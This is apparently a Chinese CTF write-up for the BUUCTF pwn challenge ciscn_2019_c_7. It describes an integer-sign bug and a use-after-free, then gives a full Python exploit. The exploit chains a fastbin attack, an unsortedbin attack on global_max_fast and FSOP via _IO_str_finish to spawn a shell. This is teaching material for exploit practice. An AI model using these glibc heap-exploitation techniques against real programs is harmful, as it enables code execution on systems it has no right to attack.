天天看點

[BUUCTF]ciscn_2019_c_7

ciscn_2019_c_7

總結

主要是限制了​

​UAF​

​的​

​chunk​

​的大小為​

​0x20​

​,并且限制了​

​add​

​的次數,就很難受,并且題目用的還是​

​calloc​

​,沒有使用​

​tcache​

​。最後還是使用​

​fastbin attack​

​+​

​unsortedbin attack​

​ + ​

​FSOP​

​擷取到的​

​shell​

​。

  • ​fastbin attack​

    ​用于修改​

    ​chunk size​

  • ​unsortedbin attack​

    ​fast_global_max​

  • ​FSOP​

    ​利用​

    ​IO_str_finish​

    ​拿​

    ​shell​

題目分析

checksec

[BUUCTF]ciscn_2019_c_7

結構體

逆向分析出​

​Servent​

​的結構體如下:

struct Servent
{
char *name;
uint64_t aggressivity; // 攻擊力
};
      

漏洞點

漏洞​

​1​

​:​

​recruite​

​中的​

​size​

​可以為負數,下面做減法就會得到一個很大的正數,這樣先把​

​money​

​搞到很大

[BUUCTF]ciscn_2019_c_7

​2​

​expel​

​分支

[BUUCTF]ciscn_2019_c_7

​3​

​:可以任意位址置為​

​0​

​,這個漏洞我沒用到。但是隐約猜到了用處。

[BUUCTF]ciscn_2019_c_7

别的漏洞就沒看到了。

利用過程

  • 利用漏洞​

    ​1​

    ​将​

    ​money​

  • ​2​

    ​,修改某個​

    ​chunk​

    ​size​

    ​,洩露出堆和​

    ​libc​

    ​位址
  • 還是利用漏洞​

    ​2​

    ​,進行​

    ​unsortedbin attack​

    ​,打​

    ​global_max_fast​

  • 釋放一個很大的​

    ​chunk​

    ​,剛好覆寫掉​

    ​_IO_list_all​

  • 利用​

    ​FSOP​

    ​shell​

Exp

#!/usr/bin/python3
from pwncli import *

cli_script()

p:tube = gift['io']
elf:ELF = gift['elf']
libc: ELF = gift['libc']


def recruite(size:(tuple, list), name:(tuple, list)):
p.sendlineafter("Give me your choice:\n", "1")
p.sendlineafter("How many servents do you want to rescruit?\n", str(len(size)))
for i in range(len(size)):
p.sendlineafter("Input the name's size of this servent:\n", str(size[i]))
p.sendafter("Input the name of this servent:\n", name[i])


def expel(idx:int):
p.sendlineafter("Give me your choice:\n", "2")
p.sendlineafter("Tell me his index number:\n", str(idx))
p.recvuntil("Ok, I'll kill ")
msg = p.recvline()
info("msg recv: {}".format(msg))
return msg


def buy_weapon(weapon_type:int):
p.sendlineafter("Give me your choice:\n", "3")
p.sendlineafter("2.Excalibur      --90000yuan\n", str(weapon_type))


def attack_boss(use_big_weapon='n'):
p.sendlineafter("Give me your choice:\n", "4")
msg = p.recvline()
if  b"Do you want to use excalibur?" in msg:
p.sendline(use_big_weapon)

# 搞錢
p.sendlineafter("How much money do you want?\n", "-1")
p.sendlineafter("Give me your choice:\n", "1")
p.sendlineafter("How many servents do you want to rescruit?\n", str(-10000))

buy_weapon(2)

# 為堆風水布局
recruite([0x18, 0x18, 0x18, 0x2000], [flat(0, 0x21), flat(0, 0x21), flat(0, 0x21), flat({0x400:[[0, 0x21, 0, 0] * 2], 0x1410:[[0, 0x21, 0, 0] * 2]})])

expel(1)
expel(1)

# 洩露堆位址 
leak_addr = expel(1)

heap_base_addr = u64(leak_addr[:6].ljust(8, b"\x00")) - 0x2a0

log_address("heap_base_addr", heap_base_addr)

# fastbin attack
for _ in range(5):
expel(1)

expel(0)
expel(1)
expel(0)

recruite([0x18], [flat([0, 0x21, heap_base_addr + 0x280], length=0x18)])

# change size
recruite([0x40, 0x18], ["a", flat(0, 0x71)])

for i in range(8):
expel(1)

# 改完size後得到一個大的chunk,釋放它
expel(0)

recruite([0x60], [flat({0:heap_base_addr + 0x2e0, 0x30: [0, 0x471]})])

expel(2)

# 洩露libc位址
leak_addr = expel(1)
libc_base_addr = u64(leak_addr[:6].ljust(8, b"\x00")) - 0x3ebca0
log_address("libc_base_addr", libc_base_addr)

libc.address = libc_base_addr

expel(0)

# unsortedbin attack
global_max_fast_offset = 0x3ed940
recruite([0x60], [flat({0x30:[0, 0x471, 0, libc_base_addr + global_max_fast_offset - 0x10]}, filler="\x00")])

expel(0)

str_jumps_offset = 0x3e8360
lock_offset = 0x3ed8c0
bin_sh_offset = 0x1b3e9a

payload = flat({
0x30: [0, 0x1441],
0x30+0x80: 0,
0x30+0x88: libc_base_addr + lock_offset, # lock
0x30+0xc0: 0,
0x30+0x28: 0xffffffffffffff, # write_ptr
0x30+0xd8: libc_base_addr + str_jumps_offset - 8, # IO_str_jumps
0x30+0x38: libc_base_addr + bin_sh_offset, # /bin/sh
0x30+0xe8: libc.sym['system']
}, filler="\x00")

recruite([0x460], [payload])

# 覆寫掉_IO_list_all
expel(3)

# 執行exit
attack_boss()

p.interactive()
      

構造大的​

​chunk​

​:

[BUUCTF]ciscn_2019_c_7

​unsortedbin attack​

​:

[BUUCTF]ciscn_2019_c_7

覆寫掉​

​_IO_list_all​

[BUUCTF]ciscn_2019_c_7

最後拿到​

​shell​

[BUUCTF]ciscn_2019_c_7

引用與參考

1、​​My Blog​​

2、​​Ctf Wiki​​

3、​​pwncli​​